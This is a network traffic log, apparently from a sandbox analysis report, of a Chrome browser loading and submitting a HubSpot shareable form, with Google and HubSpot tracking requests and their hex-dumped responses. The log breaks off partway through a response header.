2024-12-16 17:46:05 UTC	1202	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:46:05 GMT Content-Type: image/gif Content-Length: 45 Connection: close CF-Ray: 8f307da7ad5442e7-EWR CF-Cache-Status: DYNAMIC Cache-Control: no-cache, no-store, no-transform Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Vary: origin access-control-allow-credentials: false p3p: CP="NOI CUR ADM OUR NOR STA NID" x-content-type-options: nosniff x-envoy-upstream-service-time: 8 x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-evy-trace-route-service-name: envoyset-translator x-evy-trace-served-by-pod: iad02/analytics-tracking-td/envoy-proxy-c658cb6d4-rkp6r x-evy-trace-virtual-host: all x-hubspot-correlation-id: 635252a9-7fd3-405a-8327-8ff7b3c58bef x-request-id: 635252a9-7fd3-405a-8327-8ff7b3c58bef x-robots-tag: none Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BEjSJdI2Coa%2BOI6dEqMiyMH5Fn90hr%2BY6sGlTGyUUbR96jiefH8CA8CFfOn3a3K9MdajcsHhDiZFpBZhILrli0KB3%2BWlTQXzd5wvCQqmBpGwFD%2F89vSAvvYto5xPUj4aIFMj"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare
2024-12-16 17:46:05 UTC	45	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 40 08 04 00 01 04 04 00 3b Data Ascii: GIF89a!,@;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.17	49869	172.217.19.206	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:46:05 UTC	684	OUT	GET /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIkqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=Ykv6Hy2bbRDbrDBV7t0AIq7l8ocwdWSaoxvWHK8m5dVuCQpUJaKPd5U3HiTO7g1DTkoINtzVypTR6hGAMvML4KlzSVA84TTeXWjH4bIbC06auEo4huyAnBFv6XWWBZvzSf5GKCWZR6SH9RU4B-EC42mOylEGih-OQ_pWt4B9UNcplMfmQUVFE_UUFWn5-As
2024-12-16 17:46:06 UTC	270	IN	HTTP/1.1 400 Bad Request Date: Mon, 16 Dec 2024 17:46:05 GMT Content-Type: text/html; charset=UTF-8 Server: Playlog Content-Length: 1555 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-16 17:46:06 UTC	1120	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 30 20 28 42 61 64 20 52 65 71 75 65 73 74 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 400 (Bad Request)!!1</title> <style> *{margin:0;padding:0}html,code{font:15px/22px arial,sans-
2024-12-16 17:46:06 UTC	435	IN	Data Raw: 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 31 30 30 25 20 31 30 30 25 7d 7d 23 6c 6f 67 6f 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 35 34 70 78 3b 77 69 64 74 68 3a 31 35 30 70 78 7d 0a 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 3c 61 20 68 72 65 66 3d 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 3e 3c 73 70 61 6e Data Ascii: pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.google.com/><span

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.17	49877	104.18.80.204	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:46:05 UTC	846	OUT	GET /embed/v3/counters.gif?key=collected-forms-embed-js-form-bind&count=1 HTTP/1.1 Host: forms.hsforms.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=2kX8QfunqwBj5Tg9aNqIJ.XAN4BdBj5osOpmNCTyY_s-1734371123-1.0.1.1-WZrRM0BIO6Fuog5205Wir82ntMamI2GHoVjIwoGCRnSO0.NZAH6U72fafrjwOqcX_.2wq7wW.ySIg6zQpyx2Rw; _cfuvid=3Jvz8urGIUIs7njpsFJUKB5ts6qBsu_jCHNuf80AIcU-1734371123729-0.0.1.1-604800000; __hstc=251652889.f969d8b384270839a01465c358727fa6.1734371126848.1734371126848.1734371126848.1; hubspotutk=f969d8b384270839a01465c358727fa6; __hssrc=1; __hssc=251652889.2.1734371126848
2024-12-16 17:46:05 UTC	904	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:46:05 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: max-age=0, no-cache, no-store vary: origin access-control-allow-credentials: false x-content-type-options: nosniff access-control-expose-headers: X-Origin-Hublet x-robots-tag: none x-envoy-upstream-service-time: 4 x-evy-trace-route-service-name: envoyset-translator x-evy-trace-virtual-host: all x-hubspot-correlation-id: 8ecf747b-944a-4e38-82bb-7d421128668d x-evy-trace-served-by-pod: iad02/star-hubspot-td/envoy-proxy-b967ccf5d-b9zv5 x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-request-id: 8ecf747b-944a-4e38-82bb-7d421128668d CF-Cache-Status: DYNAMIC Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 8f307daa38110fa0-EWR alt-svc: h3=":443"; ma=86400
2024-12-16 17:46:05 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.17	49881	104.19.175.188	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:46:06 UTC	849	OUT	GET /embed/v3/counters.gif?key=forms-embed-v3-DEFINITION_SUCCESS&count=1 HTTP/1.1 Host: forms-na1.hsforms.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=2kX8QfunqwBj5Tg9aNqIJ.XAN4BdBj5osOpmNCTyY_s-1734371123-1.0.1.1-WZrRM0BIO6Fuog5205Wir82ntMamI2GHoVjIwoGCRnSO0.NZAH6U72fafrjwOqcX_.2wq7wW.ySIg6zQpyx2Rw; _cfuvid=3Jvz8urGIUIs7njpsFJUKB5ts6qBsu_jCHNuf80AIcU-1734371123729-0.0.1.1-604800000; __hstc=251652889.f969d8b384270839a01465c358727fa6.1734371126848.1734371126848.1734371126848.1; hubspotutk=f969d8b384270839a01465c358727fa6; __hssrc=1; __hssc=251652889.2.1734371126848
2024-12-16 17:46:07 UTC	904	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:46:07 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: max-age=0, no-cache, no-store vary: origin access-control-allow-credentials: false x-content-type-options: nosniff access-control-expose-headers: X-Origin-Hublet x-robots-tag: none x-envoy-upstream-service-time: 3 x-evy-trace-route-service-name: envoyset-translator x-evy-trace-virtual-host: all x-hubspot-correlation-id: c5377192-cf78-481b-936c-77cd86ccc1cf x-evy-trace-served-by-pod: iad02/star-hubspot-td/envoy-proxy-b967ccf5d-btm5z x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-request-id: c5377192-cf78-481b-936c-77cd86ccc1cf CF-Cache-Status: DYNAMIC Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 8f307db2a88ff3bb-EWR alt-svc: h3=":443"; ma=86400
2024-12-16 17:46:07 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.17	49883	104.19.175.188	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:46:06 UTC	845	OUT	GET /embed/v3/counters.gif?key=forms-embed-v3-RENDER_SUCCESS&count=1 HTTP/1.1 Host: forms-na1.hsforms.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=2kX8QfunqwBj5Tg9aNqIJ.XAN4BdBj5osOpmNCTyY_s-1734371123-1.0.1.1-WZrRM0BIO6Fuog5205Wir82ntMamI2GHoVjIwoGCRnSO0.NZAH6U72fafrjwOqcX_.2wq7wW.ySIg6zQpyx2Rw; _cfuvid=3Jvz8urGIUIs7njpsFJUKB5ts6qBsu_jCHNuf80AIcU-1734371123729-0.0.1.1-604800000; __hstc=251652889.f969d8b384270839a01465c358727fa6.1734371126848.1734371126848.1734371126848.1; hubspotutk=f969d8b384270839a01465c358727fa6; __hssrc=1; __hssc=251652889.2.1734371126848
2024-12-16 17:46:07 UTC	904	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:46:07 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: max-age=0, no-cache, no-store vary: origin access-control-allow-credentials: false x-content-type-options: nosniff access-control-expose-headers: X-Origin-Hublet x-robots-tag: none x-envoy-upstream-service-time: 3 x-evy-trace-route-service-name: envoyset-translator x-evy-trace-virtual-host: all x-hubspot-correlation-id: 28f5ea9d-5ad0-490b-9d2b-4806163872ac x-evy-trace-served-by-pod: iad02/star-hubspot-td/envoy-proxy-b967ccf5d-kf895 x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-request-id: 28f5ea9d-5ad0-490b-9d2b-4806163872ac CF-Cache-Status: DYNAMIC Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 8f307db30fef4251-EWR alt-svc: h3=":443"; ma=86400
2024-12-16 17:46:07 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.17	49882	104.16.117.116	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:46:06 UTC	1092	OUT	GET /__ptq.gif?k=15&fi=096e77d0-b92b-4bcd-b505-f6de1cfdcbdb&fci=ff631ee8-6dc4-418c-a78f-5c8bc9491b52&ft=0&sd=1280x1024&cd=24-bit&cs=UTF-8&ln=en-us&bfp=1366844671&v=1.1&a=48192692&ccu=https%3A%2F%2Fshare.hsforms.com%2F1CW530LkrS821BfbeHP3L2wsoxpw&pu=https%3A%2F%2Fshare.hsforms.com%2F1CW530LkrS821BfbeHP3L2wsoxpw&t=Form&cts=1734371162607&vi=f969d8b384270839a01465c358727fa6&nc=false&u=251652889.f969d8b384270839a01465c358727fa6.1734371126848.1734371126848.1734371126848.1&b=251652889.2.1734371126848&cc=15 HTTP/1.1 Host: track.hubspot.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=VBFhnnAmN0SQY1p7gf3tiCqXptW3uYSOTqHMVCk43g0-1734371131-1.0.1.1-iZGKyADPzJZYUsywtJlAkPGXNoLg3vv7PgGAwB9ErwGjF27z3ebw7S_xLvP7XJ6VCUXybcod7zrwFurlKVLVcA; _cfuvid=4VikfrI88zTQK4EPfkhv4kF3Fe.CI_9bBS.vlcLGm5A-1734371131612-0.0.1.1-604800000
2024-12-16 17:46:07 UTC	1200	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:46:07 GMT Content-Type: image/gif Content-Length: 45 Connection: close CF-Ray: 8f307db31f8843b6-EWR CF-Cache-Status: DYNAMIC Cache-Control: no-cache, no-store, no-transform Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Vary: origin access-control-allow-credentials: false p3p: CP="NOI CUR ADM OUR NOR STA NID" x-content-type-options: nosniff x-envoy-upstream-service-time: 6 x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-evy-trace-route-service-name: envoyset-translator x-evy-trace-served-by-pod: iad02/analytics-tracking-td/envoy-proxy-c658cb6d4-mmrgr x-evy-trace-virtual-host: all x-hubspot-correlation-id: bb37ffc2-7618-47e4-80df-befd181a97c7 x-request-id: bb37ffc2-7618-47e4-80df-befd181a97c7 x-robots-tag: none Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Wb7Uvks0xmfPwaENHs95sptwVxKg3QLvQxWugAWdskXCmMNrlJLp0SoZtU1%2BAMWqtWPvgwzSmPPjIcZuKffLtNrkF5SKxQ9IMp5%2FoxjRPaXvKJouVzbzB9A7xOYBM%2BbOJfty"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare
2024-12-16 17:46:07 UTC	45	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 40 08 04 00 01 04 04 00 3b Data Ascii: GIF89a!,@;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.17	49884	104.16.117.116	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:46:06 UTC	1092	OUT	GET /__ptq.gif?k=17&fi=096e77d0-b92b-4bcd-b505-f6de1cfdcbdb&fci=ff631ee8-6dc4-418c-a78f-5c8bc9491b52&ft=0&sd=1280x1024&cd=24-bit&cs=UTF-8&ln=en-us&bfp=1366844671&v=1.1&a=48192692&ccu=https%3A%2F%2Fshare.hsforms.com%2F1CW530LkrS821BfbeHP3L2wsoxpw&pu=https%3A%2F%2Fshare.hsforms.com%2F1CW530LkrS821BfbeHP3L2wsoxpw&t=Form&cts=1734371162629&vi=f969d8b384270839a01465c358727fa6&nc=false&u=251652889.f969d8b384270839a01465c358727fa6.1734371126848.1734371126848.1734371126848.1&b=251652889.2.1734371126848&cc=15 HTTP/1.1 Host: track.hubspot.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=VBFhnnAmN0SQY1p7gf3tiCqXptW3uYSOTqHMVCk43g0-1734371131-1.0.1.1-iZGKyADPzJZYUsywtJlAkPGXNoLg3vv7PgGAwB9ErwGjF27z3ebw7S_xLvP7XJ6VCUXybcod7zrwFurlKVLVcA; _cfuvid=4VikfrI88zTQK4EPfkhv4kF3Fe.CI_9bBS.vlcLGm5A-1734371131612-0.0.1.1-604800000
2024-12-16 17:46:07 UTC	1202	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:46:07 GMT Content-Type: image/gif Content-Length: 45 Connection: close CF-Ray: 8f307db31b124235-EWR CF-Cache-Status: DYNAMIC Cache-Control: no-cache, no-store, no-transform Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Vary: origin access-control-allow-credentials: false p3p: CP="NOI CUR ADM OUR NOR STA NID" x-content-type-options: nosniff x-envoy-upstream-service-time: 5 x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-evy-trace-route-service-name: envoyset-translator x-evy-trace-served-by-pod: iad02/analytics-tracking-td/envoy-proxy-c658cb6d4-gl5zl x-evy-trace-virtual-host: all x-hubspot-correlation-id: 2a382528-d45f-4a40-a281-cba2dc4b8d42 x-request-id: 2a382528-d45f-4a40-a281-cba2dc4b8d42 x-robots-tag: none Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DkRyh%2BOlC8wTnh90pSvTQiZdR0btQw2RnIub5neAdNtCipZu06Lt7GdeLzpfPc8X26EllatP3VDKvhg5Pa8O%2B0We%2Fig6CfO5XVfuZiqP3daItfYWhu%2BT1Zhc8GjeC6amhJC5"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare
2024-12-16 17:46:07 UTC	45	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 40 08 04 00 01 04 04 00 3b Data Ascii: GIF89a!,@;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.17	49878	142.250.181.68	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:46:06 UTC	953	OUT	GET /generate_204 HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIkqHLAQiFoM0BCNy9zQEIucrNAQi2y80BCOnSzQEIitPNAQjB1M0BCM/WzQEI49bNAQiO180BCKfYzQEIutjNAQj5wNQVGLi/zQEY9snNARjrjaUX Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://support.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=HrYtdrM0ocqVOpFv6rS-xUWxklvWqyFMrnlWJ_IEN3XshI21pInUPRNGVfQjPDWDyGcm2gcnO5TbO7S9fFOW5s3y2A2oCjVQ_xaKqaUh36NiapAmgDZEDPNNTjm7rBTCsi2sIb8YMDp28Zox86S8eCnZNnQ6N839sY5nFdI4dI7HVzpNO0ltQEHY386SU8A
2024-12-16 17:46:07 UTC	203	IN	HTTP/1.1 204 No Content Content-Length: 0 Cross-Origin-Resource-Policy: cross-origin Date: Mon, 16 Dec 2024 17:46:07 GMT Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.17	49889	104.16.118.116	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:46:07 UTC	1329	OUT	GET /__ptq.gif?k=18&fi=096e77d0-b92b-4bcd-b505-f6de1cfdcbdb&fci=ff631ee8-6dc4-418c-a78f-5c8bc9491b52&ft=0&sd=1280x1024&cd=24-bit&cs=UTF-8&ln=en-us&bfp=1366844671&v=1.1&a=48192692&ccu=https%3A%2F%2Fshare.hsforms.com%2F1CW530LkrS821BfbeHP3L2wsoxpw&pu=https%3A%2F%2Fshare.hsforms.com%2F1CW530LkrS821BfbeHP3L2wsoxpw&t=Form&cts=1734371164801&vi=f969d8b384270839a01465c358727fa6&nc=false&u=251652889.f969d8b384270839a01465c358727fa6.1734371126848.1734371126848.1734371126848.1&b=251652889.2.1734371126848&cc=15 HTTP/1.1 Host: track.hubspot.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://share.hsforms.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=VBFhnnAmN0SQY1p7gf3tiCqXptW3uYSOTqHMVCk43g0-1734371131-1.0.1.1-iZGKyADPzJZYUsywtJlAkPGXNoLg3vv7PgGAwB9ErwGjF27z3ebw7S_xLvP7XJ6VCUXybcod7zrwFurlKVLVcA; _cfuvid=4VikfrI88zTQK4EPfkhv4kF3Fe.CI_9bBS.vlcLGm5A-1734371131612-0.0.1.1-604800000
2024-12-16 17:46:07 UTC	1202	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:46:07 GMT Content-Type: image/gif Content-Length: 45 Connection: close CF-Ray: 8f307db52f1a42f8-EWR CF-Cache-Status: DYNAMIC Cache-Control: no-cache, no-store, no-transform Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Vary: origin access-control-allow-credentials: false p3p: CP="NOI CUR ADM OUR NOR STA NID" x-content-type-options: nosniff x-envoy-upstream-service-time: 5 x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-evy-trace-route-service-name: envoyset-translator x-evy-trace-served-by-pod: iad02/analytics-tracking-td/envoy-proxy-c658cb6d4-cvxr8 x-evy-trace-virtual-host: all x-hubspot-correlation-id: 84013703-319b-4779-96de-f03104d7ace5 x-request-id: 84013703-319b-4779-96de-f03104d7ace5 x-robots-tag: none Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=l%2BBYlc9F4NouENXKFGFD7XazyJelMDWgVKiF%2B8r4ApSBFm8ULOLYstZdC6L%2BIHfCakBvNkBS402dGXXr6m1%2FcuPV2UPUfREXngVssl5otSMTjlozzJYUrRJYbAScSw5PESeW"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare
2024-12-16 17:46:07 UTC	45	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 40 08 04 00 01 04 04 00 3b Data Ascii: GIF89a!,@;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.17	49890	104.19.175.188	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:46:07 UTC	884	OUT	POST /submissions/v3/public/submit/formsnext/multipart/48192692/096e77d0-b92b-4bcd-b505-f6de1cfdcbdb/json?hs_static_app=forms-embed&hs_static_app_version=1.6926&X-HubSpot-Static-App-Info=forms-embed-1.6926 HTTP/1.1 Host: forms.hsforms.com Connection: keep-alive Content-Length: 2656 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/plain, / Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryCcMMyDMyGT47WMZA sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://share.hsforms.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://share.hsforms.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-16 17:46:07 UTC	2656	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 43 63 4d 4d 79 44 4d 79 47 54 34 37 57 4d 5a 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 73 5f 63 6f 6e 74 65 78 74 22 0d 0a 0d 0a 7b 22 65 6d 62 65 64 41 74 54 69 6d 65 73 74 61 6d 70 22 3a 22 31 37 33 34 33 37 31 31 36 33 37 33 34 22 2c 22 66 6f 72 6d 44 65 66 69 6e 69 74 69 6f 6e 55 70 64 61 74 65 64 41 74 22 3a 22 31 37 33 34 33 37 30 31 39 35 33 31 38 22 2c 22 6c 61 6e 67 22 3a 22 65 6e 22 2c 22 65 6d 62 65 64 54 79 70 65 22 3a 22 53 48 41 52 45 41 42 4c 45 22 2c 22 75 73 65 72 41 67 65 6e 74 22 3a 22 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 31 30 2e 30 3b 20 57 69 6e Data Ascii: ------WebKitFormBoundaryCcMMyDMyGT47WMZAContent-Disposition: form-data; name="hs_context"{"embedAtTimestamp":"1734371163734","formDefinitionUpdatedAt":"1734370195318","lang":"en","embedType":"SHAREABLE","userAgent":"Mozilla/5.0 (Windows NT 10.0; Win
2024-12-16 17:46:07 UTC	1367	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:46:07 GMT Content-Type: application/json;charset=utf-8 Transfer-Encoding: chunked Connection: close vary: origin access-control-allow-origin: https://share.hsforms.com access-control-allow-methods: OPTIONS, POST access-control-allow-headers: * access-control-allow-credentials: false x-content-type-options: nosniff Cache-Control: max-age=0, no-cache, no-store x-envoy-upstream-service-time: 60 x-evy-trace-route-service-name: envoyset-translator x-evy-trace-virtual-host: all x-hubspot-correlation-id: 25a546d3-b97e-4885-aadd-9b95ed6463fc x-evy-trace-served-by-pod: iad02/star-hubspot-td/envoy-proxy-b967ccf5d-lnptw x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-request-id: 25a546d3-b97e-4885-aadd-9b95ed6463fc CF-Cache-Status: DYNAMIC Set-Cookie: 